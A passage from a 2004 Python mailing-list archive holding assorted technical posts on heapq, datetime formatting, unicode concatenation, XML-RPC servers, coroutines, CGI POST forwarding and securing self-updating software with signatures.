into my editor and made a few changes. If I were going to put further effort into polishing it for library use (which I probably won't have much opportunity to do), I'd make at least two changes. One would be to set it up to select between HTTP and HTTPS. (It currently tries to determine the protocol from the hostname string, but does nothing with that information.) The other would be to enable the file-subpart to add a Content-type header. (This is irrelevant for my particular application, as the form(s) I'm uploading to don't care.) In case it matters to anyone, inasmuch as this code is nearly identical to the published recipe, my changes can be considered to be under the same license as the original recipe. If someone feels like using this in any way, feel free. Jeff Shannon Technician/Programmer Credit International -------------- next part -------------- An embedded and charset-unspecified text was scrubbed... Name: http_multipart.py URL: From aleaxit at yahoo.com Mon Sep 6 04:14:03 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Mon, 6 Sep 2004 10:14:03 +0200 Subject: What about an EXPLICIT naming scheme for built-ins? References: <864d370904090306333b53ef56@mail.gmail.com> <59e9fd3a04090307154bfd6fd8@mail.gmail.com> <1gjjy5c.k1wnvwp3qfnpN%aleaxit@yahoo.com> <1gjnodi.1tda7xkabfdo4N%aleaxit@yahoo.com> Message-ID: <1gjorp6.yani0mcx42zlN%aleaxit@yahoo.com> Tim Peters wrote: ... \> >> nsmallest() functions to heapq for 2.4. Because heapq implements > >> a min-heap, only nlargest() is really "natural" for this module, but > >> nsmallest() does what it can ... > > [Tim Peters] > > Hmmm, am I reading this wrong...? getting the min N times seems > > easy, wouldn't that be nsmallest...? > > You're reading it right, but it's a bit paradoxical. Suppose you want Ah, VERY instructive, thanks! One more thing that should become a Cookbook recipe... > > heapq _should_ have reversed= like list.sort, to make a maxheap > > almost as easy as a minheap (and key= too of course), but that's > > another fight^H^H^H^H^H debate... > > At that point I'd regret not making these things classes. They were > meant to be simple. Maybe fancier stuff can go in the new-in-2.4 > collections module (which, again thanks to Raymond, has a new C-coded > deque type with constant-time insert and remove from both ends, and > regardless of access pattern (no "bad cases") -- and, e.g., > Queue.Queue uses collections.deque as its container type now). Yep, collections.heap would definitely appear to be warranted (as no doubt would others) but I fear it may be a little bit late to shoehorn it into 2.4, what with the first beta being mere weeks away, sigh. > > And what about the heapsorts...? It probably depends on what you > > mean by 'usually', but...: ... > > on my old-ish iBook with Python 2.4 alpha 3 I see...: > > > > $ python ~/cb/timeit.py -s'import s' 's.top3_heapq(s.x1)' > > 1000 loops, best of 3: 656 usec per loop > > $ python ~/cb/timeit.py -s'import s' 's.top3_sort(s.x1)' > > 100 loops, best of 3: 4e+03 usec per loop > > The heapq methods are practical (as you just demonstrated). The Yep (even the "unnatural" nsmallest...). > recursive-generator mergesorts really aren't. Besides just the Right, and I didn't mean to claim they were. > overhead of Python, they've got the overhead of creating ~= len(list) > generators, suspending and resuming them incessantly. By the time the > list is big enough to overcome all those time overheads, chances are > you'll start running out of RAM. I've used a mergesort with generators once, back in 2.2 times, on a gigabyte-plus binary file at a time when I couldn't possibly have fit it in RAM -- a pretty naive N-tape mergesort (where the tapes were actually temporary diskfiles, of course), where each "tape" got sorted as a Python list before getting written out to disk on the first pass. No doubt a very different scenario from the one being discussed here... Alex From b.niemann at betternet.de Fri Sep 17 10:53:29 2004 From: b.niemann at betternet.de (Benjamin Niemann) Date: Fri, 17 Sep 2004 16:53:29 +0200 Subject: Attributeerror In-Reply-To: References: Message-ID: init_self wrote: > extreme newbie question: > > I have a filename.py file with an attribute named a. > I`s a dictionary example, and when I start the interpreter > and call the attribute its value prints out fine. > > Then I change the name of the attribute from a to b and save > filename.py > > Calling the attribute now produces an errormessage: > Attributeerror: 'module has no attribute 'b' > > This irritates me. Why does it happen? Did you quit & restart the interpreter after changing the .py file? Unless you explicitly say 'reload(filename)' to update the module, Python will not care about changes made to the file (during a single interpreter session). From tmohr at s.netic.de Thu Sep 9 15:12:45 2004 From: tmohr at s.netic.de (Torsten Mohr) Date: Thu, 09 Sep 2004 21:12:45 +0200 Subject: my own type, print function Message-ID: Hi, i have created an own type in C and have implemented the print function for it. static int mytype_print(mytype_obj* self, FILE* fp, int flags) { printf("[%p]", fp); fprintf(fp, "Hello, world\n"); } At the moment i ignore "flags". The first line "printf" is executed, fp is NOT Null. But i haven't yet explored the memory at that location. At the moment it points to 7803BB68. The second line "fprintf" crashes the program. The command at 0x77f88216 points to 0x00000010. The action "written" could not be executed. (I translated that from german). If i delete the second line, the program runs normally, as i'd expect it. Can anybody give me a hint what could be wrong here? Best regards, Torsten. From adalke at mindspring.com Wed Sep 29 19:06:33 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Wed, 29 Sep 2004 23:06:33 GMT Subject: datetime strftime methods require year >= 1900 In-Reply-To: References: Message-ID: Andrew Dalke wrote: > >>> strftime(datetime.date(1850, 8, 2), "%Y/%M/%d was a %A") > '1850/00/02 was a Friday' While "%Y/%m/%d was a %A" gives 1850/08/02 was a Friday > > % cal 8 1850 > August 1850 > S M Tu W Th F S > 1 2 3 > 4 5 6 7 8 9 10 > 11 12 13 14 15 16 17 > 18 19 20 21 22 23 24 > 25 26 27 28 29 30 31 I once played around with an alternate time format string that allowed %(2000)/%(12)/%(31) to mean %Y, %m, %d. %(Jan)/%(January)/%(Mon)/%(Monday) to mean %b/%B/%a/%A because I forget which name is which. Andrew dalke at dalkescientific.com From heikowu at ceosg.de Thu Sep 16 07:13:08 2004 From: heikowu at ceosg.de (Heiko Wundram) Date: Thu, 16 Sep 2004 13:13:08 +0200 Subject: software that knows how to update itself In-Reply-To: References: Message-ID: <200409161313.08407.heikowu@ceosg.de> Am Mittwoch, 15. September 2004 14:46 schrieb Brad Tilley: > def update_urself(): > receive updated socket server code & write it to a file > verify file with crc or md5sum check on both ends This step is very dangerous, as only checking a hash on the client and server side can really lead to problems when you have a malicious client giving out the new file. What you should do: --- Generate private/public key pair for the client which will update the server. --- Export the public key, and hand it out with each distributed server. --- Now, when sending a new sock_serv.py, the server can check the digital signature which is also sent by the client (which it can create, because it has the private key, and which the server can check because it has the public key as distributed in step 2). --- Only if this signature check is okay (better use some form of SHA for creating the signature) will the client accept the new file. > if verify is OK: > close all connections > replace sock_serv.py with sock_serv_update.py > > if conn.recv == 'UPDATE' > update_urself() For the rest, it looks okay. If you need to implement something like this, I'd like to point you to Sophie (a crypto library I've written, which directly works on top of libgmp, the gnu multi precision integer library). http://www.heim-d.de/~heikowu/Crypto HTH! Heiko. From tim.golden at viacom-outdoor.co.uk Tue Sep 14 09:27:32 2004 From: tim.golden at viacom-outdoor.co.uk (Tim Golden) Date: Tue, 14 Sep 2004 14:27:32 +0100 Subject: Communication between remote scripts Message-ID: | In article , | secun at yahoo.com says... | > I have a python script (A) that monitors a process (3rd | party) on the | > local machine (Windows). | > | > I would like to create a second program on a remote Windows | computer | > that receives an update from program A periodically (maybe every 10 | > minutes or so), and tells it everything is running without | a problem. | > | > Can anyone recommend a good (and preferably simple) way for | two programs | > to communicate on a network? | Am I correct in saying that remote objects are not really needed for | this? You have several options: 1) Email: sounds silly but is a perfectly reasonable solution if you already had email infrastructure on both machines and weren't that bothered about real time. 2) UDP heartbeat: see this recipe in the Python Cookbook. http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/52302 3) xml-rpc: see the Python docs. http://python.org/doc/2.3.4/lib/module-xmlrpclib.html 4) Pyro (Python Remote Objects). See http://pyro.sf.net. I suspect you don't want this, given your follow-up question. But it will work and is easy enough. 5) Straight socket server stuff. Again, python docs. http://python.org/doc/2.3.4/lib/module-SocketServer.html 6) SOAP / DCOM (if you fancy your chances) / CORBA, other acronyms. Personally, I think xml-rpc is a good way to go for general purpose stuff. But since you're really just after a heartbeat, the UDP solution might be best. TJG ________________________________________________________________________ This e-mail has been scanned for all viruses by Star. The service is powered by MessageLabs. For more information on a proactive anti-virus service working around the clock, around the globe, visit: http://www.star.net.uk ________________________________________________________________________ From brian at sweetapp.com Tue Sep 28 09:03:33 2004 From: brian at sweetapp.com (Brian Quinlan) Date: Tue, 28 Sep 2004 15:03:33 +0200 Subject: SimpleXMLRPCServer In-Reply-To: <4158A28B.3050501@bellsouth.net> References: <4158A28B.3050501@bellsouth.net> Message-ID: <41596125.5020700@sweetapp.com> Jeremy Jones wrote: > Istvan Albert wrote: > >> Yannick Turgeon wrote: >> >>> "Simple". What are its limitations? >> >> >> >> No limitations whatsoever ... it is "Simple" to use >> >> :-0 >> >> Istvan. >> > Simple indeed. I don't know for sure the reasons for naming it > "Simple". But it may have to do with the fact that the out-of-the-box > SimpleXMLRPCServer will only handle one request at a time: a request > comes in, the server accepts that request, blocking until the method > call returns, and the response is sent back to the client. It does not > spawn a thread per request. The name SimpleXMLRPCServer is in line with SimpleHTTPServer: a simple serial request handling server that can be subclassed to provide additional functionality. I also chose SimpleXMLRPCServer because I reasoned that some day someone would want to write a server using a different technique and SimpleXMLRPCServer could be refactored into BaseXMLRPCServer and SimpleXMLRPCServer without breaking anything. That would allow NewXMLRPCServer to leverage the new BaseXMLRPCServer. Cheers, Brian From GoogleGroups at garringer.net Fri Sep 17 09:37:02 2004 From: GoogleGroups at garringer.net (Roy) Date: 17 Sep 2004 06:37:02 -0700 Subject: How to detect open windows applications References: <82d4be71.0409160655.234749ab@posting.google.com> Message-ID: <82d4be71.0409170537.7f4468c1@posting.google.com> That sounds like a good way... How do I get a list of the process? Michel Claveau - abstraction m?ta-galactique non trivial e en fuite perp?tuelle. wrote in message news:... > Hi ! > > Search the process. > > @-salutations From jjl at pobox.com Tue Sep 7 19:35:35 2004 From: jjl at pobox.com (John J. Lee) Date: 08 Sep 2004 00:35:35 +0100 Subject: python from Java References: <0rh%c.26762$Z14.8686@news.indigo.ie> Message-ID: <87r7pd4pq0.fsf@pobox.com> Alan Kennedy writes: [...] > I've read several times that pxdom performance is not good. Fred Lundh > wrote the following about it: > > "Sometimes, you wonder if people who releases Python libraries has > ever used them in any real applications. .. [snip] .. The pxdom > toolkit is 500 times slower than other portable implementations, and > 3300 times slower than the fastest XML object implementation I have on > this machine. Put another way, pxdom parses 4350 bytes per second on a > 3 GHz PC. 690,000 cycles per byte. Wow." [...] A bit harsh: the poor fellow did explicitly say when he released it that performance was a not an issue for him, and that prospective users should watch out for this problem. Having said that, a million ops per byte *is* a LITTLE slow! :-) In fact, slow enought that I wonder if it couldn't be fixed fairly easily... John From roo at try-removing-this.darkboong.demon.co.uk Tue Sep 14 12:34:54 2004 From: roo at try-removing-this.darkboong.demon.co.uk (Rupert Pigott) Date: Tue, 14 Sep 2004 17:34:54 +0100 Subject: Xah Lee's Unixism References: <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <10juvnrt88k4868@corp.supernews.com> <414069c6$0$6912$61fed72c@news.rcn.com> <1549.748T655T9283520@kltpzyxm.invalid> <3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com> <4141c830$0$65574$a1866201@newsreader.visi.com> <4146dc2f$0$2665$61fed72c@news.rcn.com> <87brg96kfe.fsf@p4.internal> <873c1k7rre.fsf@p4.internal> Message-ID: <1095179694.511730@teapot.planet.gong> Bulent Murtezaoglu wrote: > reaction of the US voter. That or the unwillingness of the world to > bankroll these adventures with loans will restrain them in the short > term. (The US gets to borrow with US$ denominated paper, if that I think there is about as much chance of that happening as there was of Deutsche Bank saying "No" to the Nazis in WWII. Take a look at the guff that erupted when Deutsche found some chump change in their back pocket and decided to buy Banker's Trust (circa 1998-1999). Cheers, Rupert From greg at cosc.canterbury.ac.nz Thu Sep 9 22:39:23 2004 From: greg at cosc.canterbury.ac.nz (Greg Ewing) Date: Fri, 10 Sep 2004 14:39:23 +1200 Subject: A historical question In-Reply-To: References: Message-ID: <2qcietFecdi3U1@uni-berlin.de> Peter Hansen wrote: > The only "compilation" that went on was actually called > "tokenization" ... was more for memory conservation > than for anything else. It undoubtedly helped execution speed a lot, too. The main loop of the interpreter consisted of fetching the next token and consulting a jump table -- much like the switch statement in ceval(). -- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand http://www.cosc.canterbury.ac.nz/~greg From martin at v.loewis.de Sat Sep 11 03:09:21 2004 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Sat, 11 Sep 2004 09:09:21 +0200 Subject: possible unicode bug in implicit string concatenation? In-Reply-To: <5f4ca392.0409102204.34d2a4e9@posting.google.com> References: <5f4ca392.0409102204.34d2a4e9@posting.google.com> Message-ID: <4142a493$0$26132$9b622d9e@news.freenet.de> Fahd Khan wrote: >>>>u'\u12345' u'foo'.encode('ascii') > > Traceback (most recent call last): > File "", line 1, in ? > UnicodeEncodeError: 'ascii' codec can't encode character u'\u1234' in > position 0: ordinal not in range(128) > > > Is this a bug, or is my understanding of how Python works flawed? Yes :-) Your understanding is flawed. > I > tried tracing it within the interpreter itself bug got lost after a > little while... I'm familiar with the interpreter loop, but not the > parser, and I suspect this is something to do with implicit string > concatenation being parsed differently from the explicit version, i.e. > the explicit version uses the + operator slot, while the implicit > version does something else. Any ideas? During parsing, strings are concatenated. And concatenation is the same as +. So the expression at the top of this message is the same as u'\u12345foo'.encode('ascii'). That fails because \u1234 is not supported in ASCII. Now, u'\u12345'+u'foo'.encode('ascii') is something completely different: concatenation does not happen during parsing, but only at execution. The computation of this expression is as follows u'foo'.encode('ascii') gives 'foo' u'\u12345'+'foo' finds that Unicode and byte strings are to be added. This causes the byte string to be coerced to Unicode, computing 'foo'.decode(sys.getdefaultencoding()) sys.getdefaultencoding() gives 'ascii' 'foo'.decode('ascii') gives u'foo' u'\u12345'+u'foo' gives u'\u12345foo' Regards, Martin From reynirhs at mi.is Thu Sep 9 00:05:28 2004 From: reynirhs at mi.is (Reynir Stefánsson) Date: Thu, 09 Sep 2004 04:05:28 +0000 Subject: Xah Lee's Unixism References: <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <4139561C.F52D4E4@yahoo.com> <10srj09tdkvim71i677g7eh7b2nk1qkmfm@4ax.com> <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> Message-ID: So spake CBFalconer: >There is no need, nor cause, to impute Bush & Co. with >intrinsically evil intentions. Merely remember Occam's and Hanlon's Razors. -- Reynir Stef?nsson (reynirhs at mi.is) From carribeiro at gmail.com Tue Sep 21 14:25:38 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Tue, 21 Sep 2004 15:25:38 -0300 Subject: Python 3.0, rich comparisons and sorting order In-Reply-To: References: <864d370904092109509df67ee@mail.gmail.com> <20040921173455.GB2891@unununium.org> Message-ID: <864d370904092111251509162a@mail.gmail.com> On Tue, 21 Sep 2004 17:42:35 +0000 (UTC), Steven Bethard wrote: > I'm not sure I follow your comparison here anyway, since you can't sort a > dict... Could you clarify? Any hashable object can be used as a key. That's the point. If you're using a balanced binary tree as a high performance object storage with bounded search time (log N), then you're going to need comparisons to work. Anyway, the discussion so far gave me an idea: sortable objects could implement the __key__ function to return a sortable value. Here it is: 1) comparison would work between a few types -- None, booleans, numbers, and strings, in this order. It's an arbritrary but determinist ordering, and does not deal with things such as complex nmbers. 2) other objects would implement the __key__function for comparison. __key__ would have to return one of the built-in, sortable types, as described above. This is a workable solution to preserve the current behavior (multiple objects can be sorted). However, it has a disadvantage in that it's not orthogonal -- but neither is restricting comparisons. Just to make it clear, here it is how it works now: >>> a = [ 3.5, -1.0, "", (0,1), None, "z"] >>> a.sort() >>> a [None, -1.0, 3.5, '', 'z', (0, 1)] None comes first, then numbers, then strings, then tuples. And sort simply works. BTW, it even sorts tuples in a deterministic fashion -- is it going to be lost in Python 3.0 too? Now that we're talking about tuples, another example: >>> (0,1) < (1,0) True >>> (0,1) < [1,0] False >>> [0,1] < [1,0] True Lists come before sequences -- don't know if it does make sense, the "correct" thing for sorting seems to consider then equal as far as relative ordering is concerned; that would make (0,1) < [1,0] -> True. But then, would it make (0,0) be the same as [0,0]? Of course not -- one is a list, the other one is a tuple. All this can be simply put as: a) Relative ordering (or partial ordering) is one thing; b) Magnitude comparison is another thing, that sometimes coincide with relative ordering; c) Equality/inequality is yet another thing. ...and we're trying to solve all three with the same set of operators. But please, don't try to propose anything more complex, it's not going to help here :-) -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From sholden at flexal.cs.usyd.edu.au Tue Sep 14 20:33:09 2004 From: sholden at flexal.cs.usyd.edu.au (Sam Holden) Date: 15 Sep 2004 00:33:09 GMT Subject: comparing datetime with date References: <41477d9a$0$24391$5a62ac22@per-qv1-newsreader-01.iinet.net.au> Message-ID: On Wed, 15 Sep 2004 09:24:03 +1000, Graeme Matthew wrote: > This is very interesting because if you continue further and coerce both to > strings you get: > >>>> print str(y) == str(y) > True Of course if you actually do: >>>> print str(x) == str(y) > False >>>> str(y) > '2004-09-14 06:43:15' >>>> str(x) > '2004-09-14' >>>> > > Even though there string values are different they still match? No, they only matched becuase you compared y with y :) -- Sam Holden From erik at heneryd.com Mon Sep 13 16:45:38 2004 From: erik at heneryd.com (Erik Heneryd) Date: Mon, 13 Sep 2004 22:45:38 +0200 Subject: check for unused ports and then grab one In-Reply-To: References: Message-ID: <414606F2.30900@heneryd.com> Brad Tilley wrote: > Instead of me arbitrarily assigning a high port number to a variable, is > it possible to check for ports that are unused and then randomly assign > one of them to a variable? No. Trial and error until you find one. Erik From btami at napnet.hu Wed Sep 29 02:55:07 2004 From: btami at napnet.hu (Bajusz Tam?s) Date: 28 Sep 2004 23:55:07 -0700 Subject: [ANN] Dabo 0.2 Released References: Message-ID: <80ddf086.0409282255.5cbc8070@posting.google.com> Hi! Have you seen GNUe? (www.gnuenterprise.org) Same goals, but more mature. btami Ed Leafe wrote in message news:... > We are pleased to announce Dabo 0.2, the second major release of our > data application framework. The Dabo framework is a true 3-tier design, > with data access and UI code separated from your business logic. And > since it's Python, and uses wxPython for its UI, it is completely > cross-platform, having been tested on Linux, Windows and OS X. > > Download from http://dabodev.com/download > > The new prerequisites are: > Python 2.3 > wxPython 2.5.2.7 or later > > We are encouraged by the response we've gotten so far from our earlier > releases - there certainly seems to be a lot of interest in creating > cross-platform data-intensive apps! We are continuing to move forward, > and encourage anyone who is interested to join our mailing lists: > > dabo-users: for those interested in learning how to work with Dabo to > create applications > http://leafe.com/mailman/listinfo/dabo-users > dabo-dev: for those interested in the ongoing development of Dabo > http://leafe.com/mailman/listinfo/dabo-dev > > > Here is a brief summary of what's new in Dabo 0.2: > > Dabo 0.2: > Dabo now works with FireBird as well as MySQL databases. We've begun to > add support for SQLite and PostgreSQL, but they won't be ready until > 0.3. > > Database connection info is now saved with the passwords encrypted. > > Abstracted out the wxPython event model, greatly simplifying the > binding and raising of events, as well as the definition of new events > via subclassing. > > Improved unicode support. > > Code for Dabo applications has gotten more Dabo-like, and less wx-like, > as Dabo has abstracted the UI much better. For example, it is not as > necessary to add an 'import wx' statement in your code anymore. > > Added logger objects to send program output to, instead of directly to > stdout. > > Began abstraction of Tkinter at purely an experimental level. > > Added some new controls, such as a better date control and a combo box. > > > DaboDemo 0.2: > We've created a new wizard for generating basic Dabo applications. > Check it out at http://dabodev.com/wiki/AppWizard . > > The generated apps now save their configuration in standard XML files. > There is a new visual editor for modifying these files and previewing > your changes. See http://dabodev.com/wiki/FieldSpecEditor for more > information. > > While Dabo is primarily aimed at creating database apps, it works great > for apps that don't work with data, too. To illustrate this, there is > now a game called 'Bubblet' included in the demo that is written in > Dabo but doesn't connect to data. > > Added a Python code editor and dubbed it 'dEditor', located in the > 'daboIDE' directory. This editor, based on Scintilla, features > everything you'd expect: syntax coloring, auto-indent, zooming, line > numbering, call tips, and auto-complete. It represents the beginning of > an effort to bring a simple multi-platform IDE to Dabo, which will be a > central place to work on Dabo-based projects. A project manager, a good > set of editors (code, field specs, database definitions, report > layouts, UI layouts, etc.), an interpreter, a debugger, and quick links > to documentation will all be provided. It's a major undertaking; this > is the first step in that direction. > > > ___/ > / > __/ > / > ____/ > Ed Leafe > http://leafe.com/ > http://dabodev.com/ From pmaupin at speakeasy.net Sun Sep 19 01:57:55 2004 From: pmaupin at speakeasy.net (Patrick Maupin) Date: 18 Sep 2004 22:57:55 -0700 Subject: Microthreads without Stackless? References: <18282ecb.0409151755.47b691e2@posting.google.com> <8cf9f521.0409162213.105d321e@posting.google.com> <8cf9f521.0409171009.142a3fcd@posting.google.com> <8cf9f521.0409181021.6db6a3e4@posting.google.com> Message-ID: <653b7547.0409182157.4339613@posting.google.com> > As both Bryan and some other folks upthread point out, *FLAT* > coroutines don't mix well directly with a callstack. There > are things you can do that use both, but reasoning about your > programs becomes more difficult, and you probably need extra > code. But you REALLY don't lose anything by moving an explicit > callstack out of a function/generator object, and into the > overall flow of your program. I agree in principle, but it's the same principle that says that a Turing machine is a viable computer, or that you can emulate coroutines with regular unthreaded programming. In other words, to me, the whole point of using coroutines is to make reasoning about the system easier (of which reducing code is sometimes a large part). (So color me un-academic :) For example, it's only a start to be able to build a filter as an endless loop which calls a function to get data, then calls a separate function to be able to put the data. The whipped cream and cherry is when the get and put functions can do arbitrary things, including blocking (e.g. by yielding to a coroutine) at will, for example to allow another coroutine to fill or empty a buffer. By the way, since there was so much confusion in this thread on exactly what a coroutine *is* and what its capabilities are, I did a little research. Most of the relevant documentation is pre-web (or hidden behind pay-per-use systems), but I did find one excellent, up-to-date public resource, "Revisiting coroutines" by Ana L?ucia de Moura and Roberto Ierusalimschy, at: http://www.inf.puc-rio.br/~roberto/docs/MCC15-04.pdf One of the interesting tidbits I got out of this paper is that Lua supports full coroutines. I definitely need to look into Lua sometime. I have reproduced the section on "Stackfulness" from the paper below. Regards, Pat 2.3 Stackfulness Stackful coroutine mechanisms allow coroutines to suspend their execution from within nested functions; the next time the coroutine is resumed, its execution continues from the exact point where it suspended. Stackful coroutine mechanisms are provided, for instance, by Simula, BCPL, Modula-2, Icon, and also by CLU and Sather's iterators. A currently observed resurgence of coroutines is in the context of scripting languages, notably Python and Perl. In Python [Schemenauer et al. 2001], a function that contains an yield statement is called a generator function. When called, this function returns an object that can be resumed at any point in a program, so it behaves as an asymmetric coroutine. Despite constituting a first-class object, a Python generator is not a stackful construct; it can only suspend its execution when its control stack is at the same level that it was at creation time. In other words, only the main body of a generator can suspend. A similar facility has been proposed for Perl 6 [Conway 2000]: the addition of a new type of return command, also called yield, which preserves the execution state of the subroutine in which it is called. Python generators and similar non-stackful constructs permit the development of simple iterators or generators but complicate the structure of more elaborate implementations. As an example, if items are produced within recursive or auxiliary functions, it is necessary to create an hierarchy of auxiliary generators that yield in succession until the original invocation point is reached. This type of generator is also not powerful enough to implement user-level multitasking. From cookedm+news at physics.mcmaster.ca Wed Sep 22 16:17:30 2004 From: cookedm+news at physics.mcmaster.ca (David M. Cooke) Date: Wed, 22 Sep 2004 16:17:30 -0400 Subject: POST from a CGI References: <6f402501.0409220027.65be4885@posting.google.com> Message-ID: fuzzyman at gmail.com (Michael Foord) writes: > I'm receiving POST data to a CGI, which I'd like to forward to another > CGI using urllib2. > > I have two options - > > 1) Parse the data using cgi.FieldStorage() and then rebuild the POST > request into a dictionary - including any files (? uploading files by > urllib2 untested and undocumented - examples seem to be for httplib). > > 2) Read the whole POST data in using sys.stdin.read(), rebuild the > 'Content-type' and 'Content-length' headers and make the POST. > > Obviously (2) is a *lot* less fiddly and less error prone. *But* I'm > getting 400 errors when I try it (server thinks request is malformed). > I've checked the headers and the body data and they seem normal and I > can't work it out. > > I wonder if anyone can see what I'm doing wrong...... > (Simple code shown first - then a straightforward example that ought > to work and fails). [snip] > info = u.info() # info about the url > pagetype = info.gettype() > print 'Content-type: ' + pagetype + '\n' > print u.read() # print the received page I think this is your problem: print is adding an extra \n to the end, so the length of the data doesn't agree with the Content-length header. Use sys.stdout.write. -- |>|\/|< /--------------------------------------------------------------------------\ |David M. Cooke |cookedm(at)physics(dot)mcmaster(dot)ca From martin at v.loewis.de Sun Sep 5 19:33:17 2004 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Mon, 06 Sep 2004 01:33:17 +0200 Subject: compiling to python byte codes In-Reply-To: <413b9f57$1@news.unimelb.edu.au> References: <4136b2b5$1@news.unimelb.edu.au> <4136bbf3$0$197$9b622d9e@news.freenet.de> <6f402501.0409020321.44fd443@posting.google.com> <41375f6a$0$13076$9b622d9e@news.freenet.de> <4137a850$1@news.unimelb.edu.au> <4137bf73$1@news.unimelb.edu.au> <4137e739$1@news.unimelb.edu.au> <4137f79f$1@news.unimelb.edu.au> <4138207f$0$182$9b622d9e@news.freenet.de> <413b9f57$1@news.unimelb.edu.au> Message-ID: <413ba235$0$13014$9b622d9e@news.freenet.de> Maurice LING wrote: > I can only have the self-study options and good books on compiler > construction are rare. I am a molecular biologist by professional > training. There are things that are tough for me to understand and to > just find the answer about stacks vs register computers will take ages, > and I always appreciate people who do not treat me as an idiot. I'm sure > there are much more idiotic questions being asked in newsgroups. I certainly did not mean to declare you an idiot. Instead, I tried to point out that this is a complex topic, one where a Usenet thread can hardly give sufficient introduction. Instead, in such threads, posters typically assume common background, with respect to grammars, syntax, abstract syntax, intermediate representation (using trees or opcodes), interpretation vs. compilation, and so on. Regards, Martin From ialbert at mailblocks.com Tue Sep 14 08:31:55 2004 From: ialbert at mailblocks.com (Istvan Albert) Date: Tue, 14 Sep 2004 08:31:55 -0400 Subject: Another worthless decorator syntax suggestion In-Reply-To: <0gkdk0d5ohpnpirits7ja2nqhi2bg1o3bb@4ax.com> References: <0gkdk0d5ohpnpirits7ja2nqhi2bg1o3bb@4ax.com> Message-ID: Fernando Rodr?guez wrote: > Yuck... A very bad decision, IMHO. One that takes Python's syntax closer to > Perl's mess. Probably not. Perl aims to be a flexible language that tries to mimic real languages in that even simple statements can be formulated in many ways. The hope is that this will allow people to better express the purpose of the code. Whether or not this is a realistic goal is debatable (with all signs pointing to no ;-) ). Istvan. From grzegorz at ee.ualberta.ca Thu Sep 23 13:18:08 2004 From: grzegorz at ee.ualberta.ca (Grzegorz Dostatni) Date: Thu, 23 Sep 2004 13:18:08 -0400 Subject: Unexpected result. Message-ID: Consider the following fragment: >>> for i in ('a','b','c'): ... for i in (1,2,3): ... print i, ... print i, ... 1 2 3 3 1 2 3 3 1 2 3 3 Now. I believe I know what is happening. The i in both loops refers to the same variable. My question is whether it would make more sense (be more intuitive) to have a for loop create its own local scope. (ie. an output string of 1 2 3 a 1 2 3 b 1 2 3 c ) Grzegorz "Some cause happiness wherever they go; others, whenever they go." - Oscar Wilde (1854-1900) From canopus at gmx.net Thu Sep 16 08:12:22 2004 From: canopus at gmx.net (Sebastian Krause) Date: Thu, 16 Sep 2004 14:12:22 +0200 Subject: python: ascii read In-Reply-To: <1gk7je1.181yr5f1jgu9iaN%aleaxit@yahoo.com> References: <1gk7je1.181yr5f1jgu9iaN%aleaxit@yahoo.com> Message-ID: I did not explictly mention that the ascii file should be read in as an array of numbers (either integer or float). To use open() and read() is very fast, but does only read in the data as string and it also does not work with large files. Sebastian Alex Martelli wrote: > Sebastian Krause wrote: > > >>Hello, >> >>I tried to read in some large ascii files (200MB-2GB) in Python using >>scipy.io.read_array, but it did not work as I expected. The whole idea >>was to find a fast Python routine to read in arbitrary ascii files, to >>replace Yorick (which I use right now and which is really fast, but not >>as general as Python). The problem with scipy.io.read_array was, that it >>is really slow, returns errors when trying to process large files and it >>also changes (cuts) the files (after scipy.io.read_array processed a 2GB >>file its size was only 64MB). >> >>Can someone give me hint how to use Python to do this job correctly and >>fast? (Maybe with another read-in routine.) > > > If all you need is what you say -- read a huge amount of ASCII data into > memory -- it's hard to beat > data = open('thefile.txt').read() > > mmap may in fact be preferable for many uses, but it doesn't actually > read (it _maps_ the file into memory instead). > > > Alex From michele.simionato at gmail.com Thu Sep 16 10:06:41 2004 From: michele.simionato at gmail.com (Michele Simionato) Date: 16 Sep 2004 07:06:41 -0700 Subject: mail addresses Message-ID: <4edc17eb.0409160606.2ed0e56@posting.google.com> Suppose I have an email.Message object. I can extract the sender by using ["From"]. However sometimes I get addresses in the form John Doe sometimes I get addresses in the form jane.doe at someotherdomain.org Is there a standard way to normalize the addresses? It is only the second form that I am interested in. TIA, Michele Simionato From jzgoda at gazeta.usun.pl Sun Sep 5 11:36:29 2004 From: jzgoda at gazeta.usun.pl (Jarek Zgoda) Date: Sun, 5 Sep 2004 15:36:29 +0000 (UTC) Subject: Linux application deployment References: <413B2D73.3010106@cs.com> Message-ID: Robert M. Emmons pisze: > One thing I've always wonders was -- Is there a way for a python module > to tell where it's file is located??? If you could do this it might > also be possible to have a python script reset sys.path based on it's > own location. import sys, os me = os.path.abspath(sys.argv[0]) -- Jarek Zgoda http://jpa.berlios.de/ From carribeiro at gmail.com Wed Sep 8 15:29:10 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Wed, 8 Sep 2004 16:29:10 -0300 Subject: Question: tools for business apps development In-Reply-To: References: <1gjlr3h.1g2eq2uki1ytcN%aleaxit@yahoo.com> <864d370904090606465938fea5@mail.gmail.com> <2q5vvrFrq42gU2@uni-berlin.de> Message-ID: <864d370904090812291d107862@mail.gmail.com> On Wed, 8 Sep 2004 12:06:48 -0700, R Baumann wrote: > Have you looked at GNUe? Haven't heard about it before, but I checked it following your tip. It's a great project, but it's overkill for my needs. The framework goes in the direction that I was thinking about -- specially the concept of forms, as presented there. I may check it out in the future, but for now I need something to prototype in two weeks -- better to keep it simple. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From tundra at tundraware.com Wed 